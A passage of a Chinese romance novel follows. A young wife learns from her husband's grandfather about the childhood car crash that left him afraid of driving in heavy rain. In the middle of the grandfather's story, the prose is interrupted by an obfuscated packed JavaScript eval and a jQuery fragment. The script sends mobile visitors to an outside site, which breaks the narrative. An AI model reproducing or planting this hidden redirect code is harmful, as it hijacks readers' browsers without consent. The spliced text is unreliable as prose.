车里安静，雨后的空气中带着潮湿的清冽，从半开的车窗缝隙里渗进来。
姜栩侧头看了陆尽惟一眼。他开车很稳，双手搭在方向盘上，目光看着前方，神情和平时没什么两样。
车里放着大提琴曲，缓慢而克制。姜栩靠在座椅上，看着窗外湿漉漉的街道，楼房的倒影在地面的水渍中影影绰绰。
下周爸妈回京市，上次提了一嘴后也没后文，姜栩现在猛然想起，也该提前做准备。
“下周爸妈回来，需要我准备什么吗？”
“不用，只是吃个饭。”
跟她回家时他都周到地带了礼物，她也该同他保持一致。
想了想又问：“爸妈喜欢什么？好久不见，跟他们吃饭，空着手不太好吧。”
陆尽惟一直看着前方，思索了几秒。
“妈喜欢花，玫瑰类的，爸……”他停了下，“上次从拍卖会拍的那幅画还在吗？”
“在，挂在次卧里的。”
“那就带着送给他，他会喜欢。”
姜栩有些意外：“那不是你拍的吗？”
“我拍的，现在在你手里了。”他缓缓说，“他要是问起来，说是你看中的就行。”
姜栩张了张嘴，想说什么，又咽了回去。
她大概明白，陆尽惟是在替她做好准备，用一种简单直接的方式。
“谢谢。”她低声说。
陆尽惟没接话，只把车里的音乐调低了些。
车窗外的光景一寸一寸往后移，车速不快，姜栩看着熟悉的路口，转头与他商量：“等下能不在前面那个路口停一会儿？”
“有什么事？”
“爷爷很喜欢那家的梨花糕，昨天还念起，我们刚好经过，买一点回去。”她说着，手指向窗外指了指。
陆尽惟看着无雨的阴沉天气，极轻地皱了下眉，应下来。
店铺附近没有停车场，车只能短暂停在临时停靠区，姜栩打开车门：“我快去快回，你稍微等会儿。”
陆尽惟点头，目送她关门离开。
梨花铺子很有名，糕点都是现烤现卖，每次去都能看到店铺里拍长队，姜栩此时去更甚。
排队买完出来，擦肩进来的客人手里都提着雨伞，放进旁边的雨伞存放区。她往外一看，密密麻麻的雨滴冲刷着地面，在空气中蒙上一次水雾。
姜栩小跑冲到停靠区，连忙开门钻进车内：“排队有点久，居然又下雨了……”说完抽着纸巾擦去纸袋和身上的雨水。
陆尽惟眉心微蹙着，看着雨越来越大，啪啪打在车窗，渐渐形成一股小小的水流。
等她动作结束，说道：“你来开车吧。”
姜栩抬头看他：“？”
“你哪里不舒服吗？”突然换人开车，她着实没想到。
“不习惯下大雨开车。”他微微皱眉。
她愣了好几秒，没多问，把梨花糕放在后座：“那换换座。”
陆尽惟看了看她身上的浅浅湿意，打开了车门，“你直接跨过来。”
他下车绕过车头，姜栩迅速换到驾驶座。
雨比想象中大，陆尽惟上车时，头发上已经粘了些雨珠，身上的衬衣染上斑驳的深色痕迹。
姜栩开车次数并不多，刚接触他的车，开得并不快，陆尽惟也不催，只闭着眼睛，眉头偶尔轻蹙一下，似乎已经睡着了。
到老宅时，雨已经变小，如细线，无声飘落。
陆尽惟睁开眼，看了一眼窗外灰蒙蒙的天。
姜栩解开安全带，看了眼他的表情，温温淡淡的。
她感觉他的情绪并不好，和先前在公司不一样。
她不太确定是不是因为自己耽误了时间，又或者是因为下雨。
也不太确定该不该问。
想了想，还是没开口。
“进去吧。”陆尽惟对着她说完，便径直往前走，步子不大，但也没等她。
两人之间隔着半步的距离，一前一后进了门。
老爷子正在客厅里看报纸，听见动静抬起头，笑呵呵地：“栩栩回来了。”又看了看陆尽惟，“下雨没什么事吧？”
“没事儿。爷爷，给您买了点梨花糕。”姜栩把手里的纸袋递过去，“刚出炉的，还热着。”
陆潜义笑得脸上皱纹明显：“有心了，我正想着这一口呢。”
“您一次别吃太多，容易不消化。”她笑着叮嘱了一句。
“好，听你的。”
陆尽惟换好鞋，往这边看了一眼。
陆潜义看向他：“今天没让周智开车送？”
一般周智过来的话，都会进来跟他打声招呼。
“自己开回来的，”说完又纠正，“下雨她开的。”
陆潜义视线在他身上绕了绕，又慈祥地看了看姜栩：“以后下雨还是让司机或者周智送一送，安心些。”
陆尽惟淡淡回了句“知道了”，转身准备离开，“我先上楼了。”
姜栩坐在沙发边上，看着陆尽惟离开的背影，收回视线继续陪着老爷子看电视。
陆潜义注意到稍有不专注的姜栩，思索片刻：“栩栩，今天阿惟他有没有凶你？”
“凶？”
姜栩想了想，摇头。
陆尽惟还是挺绅士的，没发过脾气，说话除了冷点血，但都有礼知分寸，凶更无从谈起。
“他怎么了？”她问了句。
“栩栩，”陆潜义的声音压低了，“今天下这么大雨，他不喜欢下大雨的这种天气开车，心情可能也稍微差点儿。”
姜栩愣了一下，预感老爷子要给她说个不得了的秘密。
“好像是吧……”她解释回来路上的情况，“回来路上下大雨，他就让我开的车。”
老爷子点了点头，没有意外的表情。
“他就是有这个毛病，”陆潜义叹了口气，手指在膝盖上轻轻敲了两下，“小时候出过一个车祸，后来就不喜欢下雨这种天气。”
姜栩没接话，安静地听着。
“他十二岁那年，那时候的管家还不是现在的刘叔，是另一个……管家带他出去，路上下了大雨，车翻了。”陆潜义的语气很平静，像在说一件很久远的事，“他没什么大事，但是管家失去了一条腿。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590413|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿惟当时就在大雨里卡了一个小时，看着管家渐渐昏过去，大雨一直往车里灌。”
他顿了顿。
“恢复之后，管家回乡修养，阿惟也没什么大碍，就是之后凡下大雨的天，他都不开车，也不喜欢出行。长大了好些，但能不碰就不碰。”
姜栩的手指在膝盖上轻轻攥了一下。想起刚才在车里，他皱着眉头坐在副驾驶，心情确实不怎么样。
“他绝对不会说这事，也不在人前展现，”陆潜义看了姜栩一眼，“我跟你说这个，就是想着你们现在是夫妻，有些事知道比不知道好。”
“我知道了，爷爷。”
姜栩心中琢磨了一番。
安慰他一下？可陆尽惟看起来不是需要安慰的人。假装不知道？似乎也不对。
陆潜义似乎看出了她的困惑，拍了拍她的手臂，“你不用想太多。也不需要你去安慰他什么的，他也不会听。你该怎么样还是怎么样，他心里有数。”
说完又补了一句：“他这个人，面冷。你有时候也别被唬住了。”
姜栩勉强笑了下，没说话。
“行了，害你今天奔波，你起得早，现在也累，上去休息会儿。”
姜栩往外走了两步，又回过头：“爷爷，谢谢您。”
老爷子摆了摆手，重新拿起报纸，像什么都没发生过。
姜栩上了楼，站在卧室门口，犹豫了一下才推门进去。
陆尽惟坐在窗边的单人沙发上，手里拿着iPad，屏幕亮着但没有翻动，目光落在窗外某个不知名的地方。
雨还在下，细细密密的，给玻璃上蒙了一层薄薄的雾气。
他听到动静，视线移过来，落在她身上，停了一秒，又移开了。
两人都没有说话，安安静静地。
突然传来一阵咳嗽，来自于陆尽惟。
姜栩抬眼，看到他正抬手揉着鼻子。想起他中午吃饭的状态，她还以为他只是单纯嗓子不舒服。
“你感冒了？”她不知道自己为什么冒出这一句，“我下去帮你找药倒点儿水。”
陆尽惟看了她一眼，眉头微动，像是在奇怪她这突然的问候。
“没关系，不用。”他说得一气呵成，完全没有打算与她多说。
姜栩思忖，她肯定是同情心泛滥了一下，老爷子说了他小时候的故事，挺让人觉得心疼，所以她感到同情，才会这么鬼使神差地问候。
没再交流，她简单洗了个澡，窝在沙发上刷手机。两人一个在窗边，一个在沙发上，中间隔了大半个房间，谁都没说话。
雨声从窗户缝里渗进来，细细碎碎的。
余光里，陆尽惟站起来，伸手拉上了窗帘。雨声闷了许多，像被人捂住了嘴。
姜栩抬头看他的时候，脑子里忽然浮现出一个画面：十二岁的小男孩被卡在变形的车里，雨水灌进来，他可能没哭，也没喊，冷静地看着旁边昏过去的管家，看着血水混着雨水往低处流，等了一个多小时。
这个画面不知道从哪里来的，或许源于她丰富的想象？
但姜栩觉得，大概就是那样的。